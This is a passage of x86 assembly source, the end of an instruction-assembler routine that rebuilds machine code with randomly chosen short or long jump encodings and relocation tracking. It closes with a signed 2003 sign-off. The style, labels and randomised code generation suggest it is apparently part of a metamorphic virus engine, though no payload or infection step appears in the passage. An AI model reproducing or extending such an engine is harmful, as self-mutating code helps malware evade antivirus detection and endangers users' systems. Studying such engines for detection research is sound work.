jmp @@Assemble_SHIFTMem_x
|
|
|
|
@@Assemble_Next22:
|
|
cmp eax, 0FCh
|
|
jnz @@Assemble_Next23
|
|
mov eax, 8Dh
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov ebx, [esi+7]
|
|
and ebx, 7
|
|
shl ebx, 3
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next23:
|
|
cmp eax, 0FDh
|
|
jnz @@Assemble_Next24
|
|
mov eax, [esi+1]
|
|
jmp @@Assemble_StoreByte
|
|
|
|
@@Assemble_Next24:
|
|
cmp eax, 0FEh
|
|
jnz @@Assemble_Next25
|
|
mov eax, 0C3h
|
|
jmp @@Assemble_StoreByte
|
|
|
|
@@Assemble_Next25:
|
|
cmp eax, 0FFh
|
|
jnz @@Assemble_Next26
|
|
mov eax, 90h
|
|
jmp @@Assemble_StoreByte
|
|
|
|
@@Assemble_Next26:
|
|
cmp eax, 70h
|
|
jb @@Assemble_Next27
|
|
cmp eax, 7Fh
|
|
ja @@Assemble_Next27
|
|
mov eax, [esi+7]
|
|
or eax, eax
|
|
jz @@Assemble_Jump_Normal
|
|
mov eax, [esi]
|
|
xor eax, 1
|
|
mov [edi], eax
|
|
add edi, 1
|
|
push edi
|
|
add edi, 1
|
|
mov eax, 0E9h
|
|
mov [esi], al
|
|
call @@Assemble_Jump_Normal
|
|
pop ebx
|
|
mov eax, edi
|
|
sub eax, ebx
|
|
sub eax, 1
|
|
mov [ebx], al
|
|
ret
|
|
|
|
|
|
@@Assemble_Next27:
|
|
cmp eax, 0F8h
|
|
jnz @@Assemble_Next28
|
|
mov eax, 0B60Fh
|
|
mov [edi], eax
|
|
add edi, 2
|
|
mov ebx, [esi+7]
|
|
and ebx, 7
|
|
shl ebx, 3
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next28:
|
|
|
|
|
|
@@Assemble_Jump_Normal:
|
|
mov ebx, [esi+1]
|
|
mov eax, [ebx+4]
|
|
cmp eax, esi
|
|
jb @@Assemble_Jump_Backwards
|
|
@@Assemble_Jump_Fowards:
|
|
mov ebx, eax
|
|
sub ebx, esi
|
|
cmp ebx, 0B0h
|
|
|
|
jbe @@Assemble_JmpFwd_Short
|
|
@@Assemble_JmpFwd_Long_Set00:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Assemble_JmpFwd_Long_Jcc
|
|
@@Assemble_JmpFwd_Long_Set:
|
|
mov [edi], eax
|
|
call Asm_AddToRelocTable
|
|
add edi, 5
|
|
ret
|
|
@@Assemble_JmpFwd_Long_Jcc:
|
|
mov eax, 0Fh
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov eax, [esi]
|
|
add eax, 10h
|
|
jmp @@Assemble_JmpFwd_Long_Set
|
|
|
|
@@Assemble_JmpFwd_Short:
|
|
call Random
|
|
and eax, 4
|
|
or eax, eax
|
|
jz @@Assemble_JmpFwd_Long_Set00
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0E8h
|
|
jz @@Assemble_JmpFwd_Long_Set
|
|
cmp eax, 0E9h
|
|
jz @@Assemble_JmpFwd_Short_JMP
|
|
@@Assemble_JmpFwd_Short_Set:
|
|
mov [edi], eax
|
|
call Asm_AddToRelocTable
|
|
add edi, 2
|
|
ret
|
|
@@Assemble_JmpFwd_Short_JMP:
|
|
add eax, 2
|
|
jmp @@Assemble_JmpFwd_Short_Set
|
|
|
|
@@Assemble_Jump_Backwards:
|
|
mov ebx, [eax+0Ch]
|
|
sub ebx, edi
|
|
sub ebx, 2
|
|
cmp ebx, 0FFFFFF80h
|
|
jb @@Assemble_Jump_Backwards_Long
|
|
|
|
mov eax, [esi]
|
|
cmp al, 0E8h
|
|
jz @@Assemble_Jump_Backwards_Long
|
|
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@Assemble_Jump_Backwards_Long
|
|
mov eax, [esi]
|
|
cmp al, 0E9h
|
|
jnz @@Assemble_Jump_StoreOpcode_Short
|
|
add eax, 2
|
|
@@Assemble_Jump_StoreOpcode_Short:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov [edi], ebx
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_Jump_Backwards_Long:
|
|
mov eax, [esi]
|
|
cmp al, 0E9h
|
|
jz @@Assemble_Jump_Backwards_JMP
|
|
cmp al, 0E8h
|
|
jz @@Assemble_Jump_Backwards_JMP
|
|
sub ebx, 4
|
|
mov eax, 0Fh
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov eax, [esi]
|
|
add eax, 10h
|
|
@@Assemble_Jump_Backwards_Long_Common:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov [edi], ebx
|
|
add edi, 4
|
|
ret
|
|
@@Assemble_Jump_Backwards_JMP:
|
|
sub ebx, 3
|
|
jmp @@Assemble_Jump_Backwards_Long_Common
|
|
ret
|
|
AssembleInstruction endp
|
|
|
|
EndOfCode label dword
|
|
|
|
end PreMain
|
|
|
|
(c) Neurobasher/Germany, somewhere on April 2003
|
|
|